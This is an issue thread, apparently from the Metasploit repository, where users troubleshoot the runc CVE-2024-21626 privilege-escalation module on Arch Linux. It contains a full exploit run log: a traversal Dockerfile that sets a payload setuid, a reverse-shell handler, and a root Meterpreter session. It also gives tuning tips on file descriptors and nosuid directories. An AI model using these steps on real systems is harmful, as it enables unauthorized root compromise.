Metasploit folx, if someone can provide this technical writer a little guidance on what needs updating, then I'd be happy to update this for you.

Arch linux is not directly supported (or tested) by the module (although it may still work). https://security.archlinux.org/issues/vulnerable does not list cve-2024-21626 (although there's nothing from 2024, so likely the list isn't kept up to date).
Do you have any more information about what version of the runc package was tested and on what version of arch? What was the output of the module? What FILEDESCRIPTOR numbers were attempted? Are you sure the system is vulnerable?

There is a issue template for bugs, I would suggest following that as I'd like more information before expanding the module.

Metasploit folx, if someone can provide this technical writer a little guidance on what needs updating, then I'd be happy to update this for you.

I believe we chatted in slack, if this is incorrect please let me know.

Archlinux uses rolling updates and does not have versions, the system was update using pacman to the date I reported except runc that used the version specified. The runc version used should have made the system vulnerable as stated in the exploit description.

wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/runc-1.1.10-1-x86_64.pkg.tar.zst
pacman -U runc-1.1.10-1-x86_64.pkg.tar.zst
wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/docker-1%3A24.0.7-1-x86_64.pkg.tar.zst
pacman -U docker-1\:24.0.7-1-x86_64.pkg.tar.zst
systemctl start docker.service && systemctl enable docker.service
usermod -aG docker <user>

I had a FILEDESCRIPTOR of 8. Also note, /tmp/ has nosuidbit set so you'll want to run out of a different directory. I also set forceexploit to true.

[msf](Jobs:2 Agents:1) exploit(linux/local/runc_cwd_priv_esc) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The target is not exploitable. Check method only available for Debian/Ubuntu systems ForceExploit is enabled, proceeding with exploitation.
[*] Creating directory /home/user/.mpjj2xVK6
[*] /home/user/.mpjj2xVK6 created
[*] Uploading Payload to /home/user/.mpjj2xVK6/.bXnmZ47
[*] Uploading Dockerfile to /home/user/.mpjj2xVK6/Dockerfile
RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
[*] Building from Dockerfile to set our payload permissions
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
[*]             Install the buildx component to build images with BuildKit:
[*]             https://docs.docker.com/go/buildx/
[*] 
[*] Sending build context to Docker daemon  3.072kB
[*] Step 1/3 : FROM alpine:latest
[*]  ---> 4048db5d3672
[*] Step 2/3 : WORKDIR /proc/self/fd/8
[*]  ---> Using cache
[*]  ---> 6421d9ffc175
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
[*]  ---> Running in 09b17fa56c44
[*] Removing intermediate container 09b17fa56c44
[*]  ---> 38c39324ec16
[*] Successfully built 38c39324ec16
[*] Removing created docker image 38c39324ec16
[*] Deleted: sha256:38c39324ec1608d06b99c3e17ab5cca6a0bc6bf55a28b71e8622aa97861b4bf6
true
-rwsrwxrwx 1 root root 250 Dec 15 12:23 /home/user/.mpjj2xVK6/.bXnmZ47
[*] Payload permissions set, executing payload (/home/user/.mpjj2xVK6/.bXnmZ47)...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[+] Deleted /home/user/.mpjj2xVK6/.bXnmZ47
[+] Deleted /home/user/.mpjj2xVK6/Dockerfile
[+] Deleted /home/user/.mpjj2xVK6
[*] Meterpreter session 11 opened (1.1.1.1:4444 -> 2.2.2.2:57722) at 2024-12-15 07:23:18 -0500

(Meterpreter 11)(/home/user) > getuid
Server username: root

@rolf-d2i if you can confirm, I'll update the module/docs

Mostly looks ok except I don't see from you log that your actually executing the exploit and also you are using 1.1.10 instead of 1.1.4. The version difference obviously doesn't matter if the exploit is supposed to be present in 1.1.10.
Also you should likely install the runc version after you install docker or verify the runc version after using pacman to ensure you are using the correct runc version since installing docker package could potentially upgrade runc.
Did I miss the execution of the exploit in your log or did you simply not include it?

1.1.10 is vulnerable, the patch is in 1.1.12. This is definitely true since I was able to exploit it successfully.

[user@archlinux ~]$ pacman -Q docker
docker 1:24.0.7-1
[user@archlinux ~]$ pacman -Q runc
runc 1.1.10-1

I think you missed the running of the exploit, I gave the exact output from running the module (even with my 3 debug lines while determining the /tmp nosuid gotcha.

Can you please provide output from running the exploit against your target? This can help with debugging why it didn't work for you but it does me.

Running a typical reverse shell inside a debian docker running on arch linux results in

[] Started reverse TCP handler on 0.0.0.0:4444
[] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The runc command was not found on this system "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.

The documentation makes it sound that the host can be modified exploited from the docker container.

Running a typical reverse shell on the arch linux machine using a none root user with docker access produces
Same method as found in (https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/basics/how-to-use-a-reverse-shell-in-metasploit.html#list-of-metasploit-reverse-shells)

Version on this machine
runc -v
runc version 1.1.4
spec: 1.0.2-dev
go: go1.19
libseccomp: 2.5.5

Running in metasploit after setting up a reverse shell session over tcp to a none root user with docker access in user home directory

[] Started reverse TCP handler on 0.0.0.0:4444
[!] AutoCheck is disabled, proceeding with exploitation
[] Building from Dockerfile to set our payload permissions
[-] Exploit aborted due to failure: no-access: File Descriptor 7 not available, try again (likely) or adjust FILEDESCRIPTOR.
[*] Exploit completed, but no session was created.

[-] Exploit aborted due to failure: no-access: File Descriptor 7 not available, try again (likely) or adjust FILEDESCRIPTOR.

Did you try a different FILEDESCRIPTOR like 8?

It is an exploit (advanced) option: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/runc_cwd_priv_esc.rb#L67

It is in the documentation: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md?plain=1#L27

I also mentioned having to change mine when exploiting (#19679 (comment)):

I had a FILEDESCRIPTOR of 8

This field becomes the WORKDIR for the docker image, so if it isn't correct (aka doesn't exist), the exploit will fail. It is mapped to: WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']} here: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/runc_cwd_priv_esc.rb#L180

Maybe it could be automated, I'd have to look in to that. That would be a better approach, but every time I've been successful with exploitation (Ubuntu/Kali) the value has always been 8. It as changed to 7 in #18838

As per the next sentence in my instructions:

Also note, /tmp/ has nosuidbit set so you'll want to run out of a different directory.

The documentation for the exploit is not very clear that the exploit should be used on the host running docker and the exploit cannot be used to escape from the insides of a docker component. The FILEDESCRIPTOR option does not show up when using metasploit command option and it is not easy to know which number is actually a problem to write to, looking into /proc/self/fd does not appear to help picking the correct fildedescriptor at least.
While I can see the docker container being created and a file created in /tmp directory, any user on the target machine has access to the tmp directory, consequently the actual risk of writing to tmp seems very low. Unless you manage to write to /etc directory (or similar) I dont see how this issue could be used to install a meterpreter like payload on the target machine. An important point for the documentation to check if the exploit is dangerous or not.

After looking at the code I managed to get a meterpreter sessions opened running the exploit but the new session is still the same normal user from my previous session, no privilege escalation happened and I could not upgrade the user account to root account using this exploit.

Also when an exploit fail it often leaves stopped docker containers in the environment that needs to be removed manually.

getting a user shell likely means you wrote the payload to a nosuid mounted location. Being an open source project, if you have code changes you'd like to submit, please feel free to open a PR or suggest improvements to #19734